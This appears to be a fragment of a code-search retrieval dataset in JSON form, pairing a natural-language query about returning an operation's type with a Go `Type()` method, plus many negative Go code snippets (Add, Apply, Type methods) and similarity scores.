{\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetHyperflexFeatureLimitExternalListRequest) Apply(apply string) ApiGetHyperflexFeatureLimitExternalListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\\n\\tctx := server.Context().(ServerContext)\\n\\tdb := ctx.Server.db\\n\\tdb.Put(c.Key, c.Value)\\n\\treturn nil, nil\\n}\",\n \"func (c *Client) FilterEntryAdd(tenant, filter, entry, etherType, ipProto, srcPortFrom, srcPortTo, dstPortFrom, dstPortTo string) error {\\n\\n\\tme := \\\"FilterEntryAdd\\\"\\n\\n\\trn := rnFilterEntry(entry)\\n\\tdn := dnFilterEntry(tenant, filter, entry)\\n\\n\\tapi := \\\"/api/node/mo/uni/\\\" + dn + \\\".json\\\"\\n\\n\\turl := c.getURL(api)\\n\\n\\tj := fmt.Sprintf(`{\\\"vzEntry\\\":{\\\"attributes\\\":{\\\"dn\\\":\\\"uni/%s\\\",\\\"name\\\":\\\"%s\\\",\\\"etherT\\\":\\\"%s\\\",\\\"status\\\":\\\"created,modified\\\",\\\"prot\\\":\\\"%s\\\",\\\"sFromPort\\\":\\\"%s\\\",\\\"sToPort\\\":\\\"%s\\\",\\\"dFromPort\\\":\\\"%s\\\",\\\"dToPort\\\":\\\"%s\\\",\\\"rn\\\":\\\"%s\\\"}}}`,\\n\\t\\tdn, entry, etherType, ipProto, srcPortFrom, srcPortTo, dstPortFrom, dstPortTo, rn)\\n\\n\\tc.debugf(\\\"%s: url=%s json=%s\\\", me, url, j)\\n\\n\\tbody, errPost := c.post(url, contentTypeJSON, bytes.NewBufferString(j))\\n\\tif errPost != nil {\\n\\t\\treturn fmt.Errorf(\\\"%s: %v\\\", me, errPost)\\n\\t}\\n\\n\\tc.debugf(\\\"%s: reply: %s\\\", me, string(body))\\n\\n\\treturn parseJSONError(body)\\n}\",\n \"func (r ApiGetHyperflexAppCatalogListRequest) Apply(apply string) ApiGetHyperflexAppCatalogListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r *reflectorStore) Add(obj interface{}) error {\\n\\tmetaObj := obj.(metav1.Object)\\n\\tentity := r.parser.Parse(obj)\\n\\n\\tr.mu.Lock()\\n\\tdefer r.mu.Unlock()\\n\\n\\tr.hasSynced = true\\n\\tr.seen[string(metaObj.GetUID())] = entity.GetID()\\n\\tr.wlmetaStore.Notify([]workloadmeta.CollectorEvent{\\n\\t\\t{\\n\\t\\t\\tType: workloadmeta.EventTypeSet,\\n\\t\\t\\tSource: collectorID,\\n\\t\\t\\tEntity: entity,\\n\\t\\t},\\n\\t})\\n\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexNodeListRequest) Apply(apply string) ApiGetHyperflexNodeListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (b *ReplaceBuilder) Add(vals ...interface{}) *ReplaceBuilder {\\n\\tvar rows Values\\n\\tif b.Insert.Rows != nil {\\n\\t\\trows = b.Insert.Rows.(Values)\\n\\t}\\n\\tb.Insert.Rows = append(rows, makeValTuple(vals))\\n\\treturn b\\n}\",\n \"func (wlt *Wallet) AddEntry(entry Entry) error {\\n\\t// dup check\\n\\tfor _, e := range wlt.Entries {\\n\\t\\tif e.Address == entry.Address {\\n\\t\\t\\treturn errors.New(\\\"duplicate address entry\\\")\\n\\t\\t}\\n\\t}\\n\\n\\twlt.Entries = append(wlt.Entries, entry)\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexClusterListRequest) Apply(apply string) ApiGetHyperflexClusterListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (cp *ChangeLog) Add(newEntry LogEntry) {\\n\\tnewEntry.assertValid()\\n\\tif len(cp.Entries) == 0 || newEntry.Sequence == cp.Since {\\n\\t\\tcp.Since = newEntry.Sequence - 1\\n\\t}\\n\\tcp.Entries = append(cp.Entries, &newEntry)\\n}\",\n \"func (d *Dao) AddCaseReasonApply(c context.Context, mid, cid int64, applyType, originReason, applyReason int8) (err error) {\\n\\t_, err = d.db.Exec(c, _inBlockedCaseApplyLogSQL, mid, cid, applyType, originReason, applyReason)\\n\\tif err != nil {\\n\\t\\tlog.Error(\\\"AddCaseReasonApply err(%v)\\\", err)\\n\\t\\treturn\\n\\t}\\n\\treturn\\n}\",\n \"func (r ApiGetHyperflexAlarmListRequest) Apply(apply string) ApiGetHyperflexAlarmListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetHyperflexHealthCheckDefinitionListRequest) Apply(apply string) ApiGetHyperflexHealthCheckDefinitionListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (c *OperandsController) Add(ctx *app.AddOperandsContext) error {\\n\\ttags := map[string]string{`service-name`: `service-foo`}\\n\\tvar respErr error\\n\\n\\traven.CapturePanic(func() {\\n\\t\\tsum, err := c.interactor.Add(ctx.Left, ctx.Right)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(`an error occured: `, err)\\n\\t\\t\\tc.monitor.CaptureError(err)\\n\\t\\t\\trespErr = ctx.InternalServerError()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\traven.CaptureMessage(`everything is ok`, tags)\\n\\t\\trespErr = ctx.OK([]byte(strconv.Itoa(sum)))\\n\\t\\treturn\\n\\n\\t}, tags)\\n\\n\\treturn respErr\\n}\",\n \"func (r ApiGetResourcepoolUniverseListRequest) Apply(apply string) ApiGetResourcepoolUniverseListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (this *ConditionalSource) Add(key string, values ...interface{}) *ConditionalSource {\\n\\tthis.inner.Add(key, values...)\\n\\treturn this\\n}\",\n \"func (l *List) Add(docID uint64, occurences uint32) {\\n\\tvar p *Posting\\n\\tvar ok bool\\n\\n\\tif p, ok = l.postings[docID]; !ok {\\n\\t\\tp = &Posting{docID: docID}\\n\\t\\tl.postings[docID] = p\\n\\t\\tl.docs = append(l.docs, docID)\\n\\t\\tl.sorted = false\\n\\t}\\n\\n\\tp.addOccurences(occurences)\\n}\",\n \"func (list *List) Add(e Entity) {\\n\\tlist.m[e.Index()] = e\\n}\",\n \"func (f *BloomFilter) Add(input []byte) *BloomFilter {\\n var loc uint32\\n a, b := f.getHash(input)\\n for i := uint(0); i < f.k; i++ {\\n // Location for this hash in the filter\\n loc = ( a + b * uint32(i) ) % uint32(f.m)\\n f.bits.Set(uint(loc))\\n }\\n return f\\n}\",\n \"func (t *RicTable) Add(c *RicEntry) {\\n\\tt.Mutex.Lock()\\n\\tdefer t.Mutex.Unlock()\\n\\n\\tt.Entries[c.Rt] = c\\n}\",\n \"func (as *aggregatorStage) add(e log.Entry) {\\n\\tas.queueEntries.PushBack(e)\\n}\",\n \"func (s *streamKey) add(entryID string, values []string, now time.Time) (string, error) {\\n\\ts.mu.Lock()\\n\\tdefer s.mu.Unlock()\\n\\n\\tif entryID == \\\"\\\" || entryID == \\\"*\\\" {\\n\\t\\tentryID = s.generateID(now)\\n\\t}\\n\\n\\tentryID, err := formatStreamID(entryID)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tif entryID == \\\"0-0\\\" {\\n\\t\\treturn \\\"\\\", errors.New(msgStreamIDZero)\\n\\t}\\n\\tif streamCmp(s.lastIDUnlocked(), entryID) != -1 {\\n\\t\\treturn \\\"\\\", errors.New(msgStreamIDTooSmall)\\n\\t}\\n\\n\\ts.entries = append(s.entries, StreamEntry{\\n\\t\\tID: entryID,\\n\\t\\tValues: values,\\n\\t})\\n\\treturn entryID, nil\\n}\",\n \"func (b *Buffer) Add(ent entity.Key, body inventoryapi.PostDeltaBody) error {\\n\\tif _, ok := b.contents[ent]; ok {\\n\\t\\treturn fmt.Errorf(\\\"entity already added: %q\\\", ent)\\n\\t}\\n\\tbodySize, err := sizeOf(&body)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif b.currentSize+bodySize > b.capacity {\\n\\t\\treturn fmt.Errorf(\\\"delta for entity %q does not fit into the request limits. \\\"+\\n\\t\\t\\t\\\"Free space: %d. Delta size: %d\\\", ent, b.capacity-b.currentSize, bodySize)\\n\\t}\\n\\tb.contents[ent] = body\\n\\tb.currentSize += bodySize\\n\\treturn nil\\n}\",\n \"func (m *Mutator) AddExisting(ctx context.Context, desc ispec.Descriptor, history *ispec.History, diffID digest.Digest) error {\\n\\tif err := m.cache(ctx); err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"getting cache failed\\\")\\n\\t}\\n\\n\\tm.appendToConfig(history, diffID)\\n\\tm.manifest.Layers = append(m.manifest.Layers, desc)\\n\\treturn nil\\n}\",\n \"func (w *Wheel) Add(action func() bool) {\\n\\tw.lock.Lock()\\n\\tdefer w.lock.Unlock()\\n\\n\\te := &entry{action: action}\\n\\tr := w.r.Prev()\\n\\tif v := r.Value; v != nil {\\n\\t\\te.next = v.(*entry)\\n\\t}\\n\\tr.Value = e\\n}\",\n \"func (t *txLookup) Add(tx *types.Transaction) {\\n\\tt.lock.Lock()\\n\\tdefer t.lock.Unlock()\\n\\n\\tt.all[tx.Hash()] = tx\\n}\",\n \"func (b *bloom) Add(key []byte) {\\n\\th1 := murmur3.Sum32(key)\\n\\th2 := (h1 >> 17) | (h1 << 15)\\n\\t// Mix hash according to Kirsch and Mitzenmacher\\n\\tfor i := 0; i < bloomHashes; i++ {\\n\\t\\tp := h1 % uint32(bloomBits)\\n\\t\\tb.bits[p/8] |= (1 << (p % 8))\\n\\t\\th1 += h2\\n\\t}\\n}\",\n \"func (r *WorkplaceRepository) Add(ctx context.Context, entity *model.WorkplaceInfo) error {\\n\\tdata, err := json.Marshal(entity)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"error to marshal workplace info\\\")\\n\\t}\\n\\t_, err = r.db.Conn.Exec(ctx, \\\"INSERT INTO workplace(info) VALUES($1) ON CONFLICT (info) DO UPDATE SET updated_at=now()\\\", data)\\n\\treturn err\\n}\",\n \"func (dc *DigestCache) Add(hash []byte, text []byte) {\\n\\tdc.Records[string(hash)] = text\\n}\",\n \"func (r ApiGetHyperflexConfigResultListRequest) Apply(apply string) ApiGetHyperflexConfigResultListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (wectxs *WorkflowContextsMap) Add(id int64, wectx *WorkflowContext) int64 {\\n\\twectxs.safeMap.Store(id, wectx)\\n\\treturn id\\n}\",\n \"func (m *mEntry) AddStr(key string, val string) Entry {\\n\\tfor i := range m.es {\\n\\t\\tm.es[i] = m.es[i].AddStr(key, val)\\n\\t}\\n\\treturn m\\n}\",\n \"func (r ApiGetResourcepoolPoolMemberListRequest) Apply(apply string) ApiGetResourcepoolPoolMemberListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (r ApiGetHyperflexFeatureLimitInternalListRequest) Apply(apply string) ApiGetHyperflexFeatureLimitInternalListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (c *Cache) Add(key string, value Value) {\\n\\tif item, ok := c.cache[key]; ok {\\n\\t\\tc.ll.MoveToFront(item)\\n\\t\\tkv := item.Value.(*entry)\\n\\t\\tc.nBytes += int64(value.Len()) - int64(kv.value.Len())\\n\\t\\tkv.value = value\\n\\t} else {\\n\\t\\titem := c.ll.PushFront(&entry{key, value})\\n\\t\\tc.cache[key] = item\\n\\t\\tc.nBytes += int64(len(key)) + int64(value.Len())\\n\\t}\\n\\tfor c.maxBytes != 0 && c.maxBytes < c.nBytes {\\n\\t\\tc.RemoveOldest()\\n\\t}\\n}\",\n \"func (r ApiGetHyperflexHealthCheckExecutionListRequest) Apply(apply string) ApiGetHyperflexHealthCheckExecutionListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (d Date) Add(i interface{}) (Entry, error) {\\n\\tdays, ok := i.(int)\\n\\tif !ok {\\n\\t\\treturn nil, fmt.Errorf(\\\"Dates can only be incremented by integers\\\")\\n\\t}\\n\\treturn Date(int(d) + days), nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.61775804","0.6137199","0.60082716","0.5884632","0.58682215","0.5847783","0.5780768","0.5775422","0.5764713","0.5763308","0.5746118","0.5726146","0.57200396","0.5684522","0.5669998","0.56285226","0.5605776","0.559246","0.55795354","0.5579335","0.5573476","0.55048096","0.5500671","0.5500671","0.5500249","0.54887533","0.54866517","0.54505014","0.54476964","0.5445269","0.5435423","0.5425599","0.54207784","0.54028344","0.5395018","0.5388054","0.53868824","0.53788483","0.53742844","0.53702676","0.53698546","0.5341442","0.53369915","0.53358084","0.53338045","0.53331286","0.53267753","0.53169763","0.53152895","0.5303823","0.52954924","0.52937686","0.5273037","0.5271761","0.52699053","0.5269457","0.52658963","0.52613395","0.52534807","0.52273184","0.52224535","0.5216076","0.5213764","0.5212217","0.5199203","0.5194919","0.5191281","0.51883113","0.51842296","0.51830846","0.51705897","0.51690656","0.51646036","0.5163337","0.51613545","0.5159842","0.515008","0.51491535","0.51478326","0.51299113","0.5128997","0.51272124","0.51240975","0.5123444","0.5119202","0.5117442","0.511359","0.5111219","0.51095396","0.51089674","0.5108345","0.5107808","0.5105192","0.51045287","0.5099641","0.5097047","0.5096811","0.50904894","0.5088169","0.50815684"],"string":"[\n \"0.61775804\",\n \"0.6137199\",\n \"0.60082716\",\n \"0.5884632\",\n \"0.58682215\",\n \"0.5847783\",\n \"0.5780768\",\n \"0.5775422\",\n \"0.5764713\",\n \"0.5763308\",\n \"0.5746118\",\n \"0.5726146\",\n \"0.57200396\",\n \"0.5684522\",\n \"0.5669998\",\n \"0.56285226\",\n \"0.5605776\",\n \"0.559246\",\n \"0.55795354\",\n \"0.5579335\",\n \"0.5573476\",\n \"0.55048096\",\n \"0.5500671\",\n \"0.5500671\",\n \"0.5500249\",\n \"0.54887533\",\n \"0.54866517\",\n \"0.54505014\",\n \"0.54476964\",\n \"0.5445269\",\n \"0.5435423\",\n \"0.5425599\",\n \"0.54207784\",\n \"0.54028344\",\n \"0.5395018\",\n \"0.5388054\",\n \"0.53868824\",\n \"0.53788483\",\n \"0.53742844\",\n \"0.53702676\",\n \"0.53698546\",\n \"0.5341442\",\n \"0.53369915\",\n \"0.53358084\",\n \"0.53338045\",\n \"0.53331286\",\n \"0.53267753\",\n \"0.53169763\",\n \"0.53152895\",\n \"0.5303823\",\n \"0.52954924\",\n \"0.52937686\",\n \"0.5273037\",\n \"0.5271761\",\n \"0.52699053\",\n \"0.5269457\",\n \"0.52658963\",\n \"0.52613395\",\n \"0.52534807\",\n \"0.52273184\",\n \"0.52224535\",\n \"0.5216076\",\n \"0.5213764\",\n \"0.5212217\",\n \"0.5199203\",\n \"0.5194919\",\n \"0.5191281\",\n \"0.51883113\",\n \"0.51842296\",\n \"0.51830846\",\n \"0.51705897\",\n \"0.51690656\",\n \"0.51646036\",\n \"0.5163337\",\n \"0.51613545\",\n \"0.5159842\",\n \"0.515008\",\n \"0.51491535\",\n \"0.51478326\",\n \"0.51299113\",\n \"0.5128997\",\n \"0.51272124\",\n \"0.51240975\",\n \"0.5123444\",\n \"0.5119202\",\n \"0.5117442\",\n \"0.511359\",\n \"0.5111219\",\n \"0.51095396\",\n \"0.51089674\",\n \"0.5108345\",\n \"0.5107808\",\n \"0.5105192\",\n \"0.51045287\",\n \"0.5099641\",\n \"0.5097047\",\n \"0.5096811\",\n \"0.50904894\",\n \"0.5088169\",\n \"0.50815684\"\n]"},"document_score":{"kind":"string","value":"0.71641654"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106167,"cells":{"query":{"kind":"string","value":"Type will return the type of operation"},"document":{"kind":"string","value":"func (op *OpAdd) Type() string {\n\treturn \"add\"\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}","func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}","func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}","func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}","func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}","func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}","func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}","func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}","func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}","func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}","func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}","func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}","func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}","func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}","func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}","func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}","func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}","func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}","func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}","func (*Int) GetOp() string { return \"Int\" }","func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}","func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}","func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }","func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}","func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}","func (s Spec) Type() string {\n\treturn \"exec\"\n}","func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}","func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}","func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (m *ToolMutation) Type() string {\n\treturn m.typ\n}","func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}","func (p RProc) Type() Type { return p.Value().Type() }","func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}","func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}","func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}","func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}","func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}","func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}","func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}","func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}","func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}","func (fn NoArgFunc) Type() Type { return fn.SQLType }","func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}","func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}","func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}","func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (op *OpMove) Type() string {\n\treturn \"move\"\n}","func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}","func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}","func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}","func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}","func (obj *standard) Operation() Operation {\n\treturn obj.op\n}","func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}","func (r *Reconciler) Type() string {\n\treturn Type\n}","func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}","func (m *SystemMutation) Type() string {\n\treturn m.typ\n}","func (f *Function) Type() ObjectType { return FUNCTION_OBJ }","func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}","func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}","func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}","func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}","func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}","func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}","func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}","func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}","func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}","func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}","func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}","func (Instr) Type() sql.Type { return sql.Int64 }","func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}","func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}","func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}","func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}","func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}","func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}","func (m *HexMutation) Type() string {\n\treturn m.typ\n}","func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}","func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}","func (m *StockMutation) Type() string {\n\treturn m.typ\n}","func (o *Function) Type() *Type {\n\treturn FunctionType\n}","func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}","func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}","func (e REnv) Type() Type { return e.Value().Type() }","func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}","func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}","func (c *Call) Type() Type {\n\treturn c.ExprType\n}","func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}","func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}","func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}","func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}","func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}"],"string":"[\n \"func (op *OperationProperty) Type() string {\\n\\treturn \\\"github.com/wunderkraut/radi-api/operation.Operation\\\"\\n}\",\n \"func (op *ConvertOperation) Type() OpType {\\n\\treturn TypeConvert\\n}\",\n \"func (op *TotalCommentRewardOperation) Type() OpType {\\n\\treturn TypeTotalCommentReward\\n}\",\n \"func (m *EqOp) Type() string {\\n\\treturn \\\"EqOp\\\"\\n}\",\n \"func (op *CommitteePayRequestOperation) Type() OpType {\\n\\treturn TypeCommitteePayRequest\\n}\",\n \"func (op *ProducerRewardOperationOperation) Type() OpType {\\n\\treturn TypeProducerRewardOperation\\n}\",\n \"func (op *TransitToCyberwayOperation) Type() OpType {\\n\\treturn TypeTransitToCyberway\\n}\",\n \"func (op *AuthorRewardOperation) Type() OpType {\\n\\treturn TypeAuthorReward\\n}\",\n \"func (m *StartsWithCompareOperation) Type() string {\\n\\treturn \\\"StartsWithCompareOperation\\\"\\n}\",\n \"func (op *OpFlatten) Type() string {\\n\\treturn \\\"flatten\\\"\\n}\",\n \"func (op *ProposalCreateOperation) Type() OpType {\\n\\treturn TypeProposalCreate\\n}\",\n \"func (m *IPInRangeCompareOperation) Type() string {\\n\\treturn \\\"IpInRangeCompareOperation\\\"\\n}\",\n \"func (m *OperativeMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func getOperationType(op iop.OperationInput) (operationType, error) {\\n\\thasAccount := op.Account != nil\\n\\thasTransaction := op.Transaction != nil\\n\\tif hasAccount == hasTransaction {\\n\\t\\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \\\"account\\\" or \\\"transaction\\\" fields set`)\\n\\t}\\n\\tif hasAccount {\\n\\t\\treturn operationTypeCreateAccount, nil\\n\\t}\\n\\treturn operationTypePerformTransaction, nil\\n}\",\n \"func (m *DirectoryAudit) GetOperationType()(*string) {\\n return m.operationType\\n}\",\n \"func (op *FillVestingWithdrawOperation) Type() OpType {\\n\\treturn TypeFillVestingWithdraw\\n}\",\n \"func (d *DarwinKeyOperation) Type() string {\\n\\treturn d.KeyType\\n}\",\n \"func (op *ClaimRewardBalanceOperation) Type() OpType {\\n\\treturn TypeClaimRewardBalance\\n}\",\n \"func (m *OperativerecordMutation) Type() string {\\n\\treturn m.typ\\n}\",\n \"func (*Int) GetOp() string { return \\\"Int\\\" }\",\n \"func (m *UnaryOperatorOrd) Type() Type {\\n\\treturn IntType{}\\n}\",\n \"func (op *ResetAccountOperation) Type() OpType {\\n\\treturn TypeResetAccount\\n}\",\n \"func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }\",\n \"func (op *OpRemove) Type() string {\\n\\treturn \\\"remove\\\"\\n}\",\n \"func (r *RegexpOp) Type() querypb.Type {\\n\\treturn querypb.Type_INT32\\n}\",\n \"func (b *BitOp) Type() sql.Type {\\n\\trTyp := b.Right.Type()\\n\\tif types.IsDeferredType(rTyp) {\\n\\t\\treturn rTyp\\n\\t}\\n\\tlTyp := b.Left.Type()\\n\\tif types.IsDeferredType(lTyp) {\\n\\t\\treturn lTyp\\n\\t}\\n\\n\\tif types.IsText(lTyp) || types.IsText(rTyp) {\\n\\t\\treturn types.Float64\\n\\t}\\n\\n\\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\\n\\t\\treturn types.Uint64\\n\\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\\n\\t\\treturn types.Int64\\n\\t}\\n\\n\\treturn types.Float64\\n}\",\n \"func (s Spec) Type() string {\\n\\treturn \\\"exec\\\"\\n}\",\n \"func (op *RecoverAccountOperation) Type() OpType {\\n\\treturn TypeRecoverAccount\\n}\",\n \"func (m 